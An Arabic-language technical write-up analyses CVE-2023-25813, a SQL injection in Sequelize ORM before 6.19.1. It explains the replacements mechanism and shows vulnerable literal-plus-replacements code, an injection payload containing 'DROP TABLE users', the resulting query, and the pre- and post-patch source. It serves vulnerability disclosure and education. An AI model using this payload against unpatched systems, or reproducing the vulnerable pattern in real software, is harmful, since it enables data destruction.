
إثبات مفهوم وتحليل فني لـ CVE-2023-25813، وهي ثغرة حقن SQL في Sequelize ORM قبل الإصدار 6.19.1، بما في ذلك تفاصيل الاستغلال ومعلومات التصحيح.
replacements بشكل صحيح، مما قد يؤدي إلى حدوث SQL Injection في بعض تركيبات الاستعلامات.Sequelize هي إحدى مكتبات ORM (رسم الخرائط العلائقية للكائنات) المتاحة في Node.js. تُعد تقنية ORM تقنيةً تعمل على أتمتة التحويل المتبادل بين الكائنات وقواعد البيانات العلائقية، حيث يمكنك من خلالها الاستعلام عن سجلات قاعدة البيانات وإنشاؤها وتعديلها وحذفها عبر الكائنات دون كتابة استعلامات SQL يدويًا.
// SELECT * FROM users WHERE id = 1;
const user = await User.findByPk(1);
يُعد replacements آلية ربط في Sequelize تُستخدم لإدراج قيم إدخال المستخدم في SQL بشكل آمن عند استخدام استعلامات SQL الخام أو أساليب ORM. ويُستخدم كوسيلة رئيسية لمنع SQL Injection.
// الربط القائم على الموضع
await sequelize.query('SELECT * FROM projects WHERE status = ?', {
replacements: ['active'],
});
// الربط القائم على المفتاح
await sequelize.query(
'SELECT * FROM users WHERE name = :name AND age = :age',
{
replacements: {
name: 'Alice',
age: 25
}
}
);
توفر Sequelize خيار replacements لربط قيم إدخال المستخدم بـ SQL بشكل آمن. ومع ذلك، في الإصدارات الأقدم من Sequelize 6.19.1، عند استخدام أساليب ORM، قد يحدث SQL Injection على الرغم من الربط عبر replacements، وذلك بسبب مشكلة في ترتيب إنشاء SQL الداخلي والاستبدال.
فيما يلي مثال على كود Sequelize الذي تحدث فيه الثغرة. يمكن أن يحدث SQL Injection عند استخدام مزيج من literal و replacements.
User.findAll({
where: or(
literal('soundex("firstName") = soundex(:firstName)'),
{ lastName: lastName },
),
replacements: { firstName },
})
يمكن للمهاجم كسر بنية الاستعلام عن طريق حقن القيم التالية في replacements:
{
"firstName": "OR true; DROP TABLE users;",
"lastName": ":firstName"
}
وتتمثل البنية في إعادة إدراج مفتاح replacements (:firstName) في القيمة أيضًا، أي إدخال مفتاح الربط مرة أخرى.
SELECT * FROM users
WHERE soundex("firstName") = soundex(:firstName)
OR "lastName" = ':firstName'
الاستعلام النهائي المكتمل كما يلي. ومع ذلك، يتخذ هذا الاستعلام شكلاً يصعب من خلاله تحديد ما إذا كان سيتم تنفيذه بدقة من الناحية البنيوية، وقد تختلف نتيجة التنفيذ وفقًا لطريقة تفسير محلل SQL وإعدادات قاعدة البيانات. في بعض البيئات يُعامل على أنه خطأ بناء جملة بسيط، لكنه بنية خطيرة يمكن أن تؤدي إلى تنفيذ أوامر SQL غير مقصودة اعتمادًا على الإعدادات.
SELECT * FROM users
WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;')
OR "lastName" = ''OR true; DROP TABLE users;''
إذا كانت البيئة تسمح لمحلل SQL بتنفيذ استعلامات متعددة (multi-query)، فمن الممكن حذف جدول باستخدام ربط واحد فقط.

تتعامل Sequelize مع السلسلة التي تمر إلى دالة literal باعتبارها جزء SQL موثوقًا به دون ترميزها (escape). لذلك، يتم إدراج هذه السلسلة كما هي في استعلام SQL، وحتى إذا بقيت فيها :param، فإنها تُترك دون أي معالجة. وكما هو موضح أدناه، فإن آلية replacements تقوم بالبحث عن رموز :param المتبقية واستبدالها بعد تجميع SQL بالكامل كسلسلة نصية وقبل التنفيذ مباشرة. ونتيجة لذلك، يتم إدراج إدخال المستخدم كما هو داخل SQL الذي اكتملت بنيته بالفعل، مما يؤدي إلى انهيار بنية الاستعلام بالكامل وحدوث الثغرة.
// sequelize-6.19.0/src/sequelize.js
if (options.replacements) {
if (Array.isArray(options.replacements)) {
sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
} else {
sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
}
}
تم تغيير السلوك بتعريف injectReplacements للسماح بالربط فقط في المواضع الآمنة نحويًا.
// sequelize-6.19.1/src/sequelize.js
if (options.replacements) {
if (Array.isArray(options.replacements)) {
sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
} else {
sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
}
sql = injectReplacements(sql, this.dialect, options.replacements);
}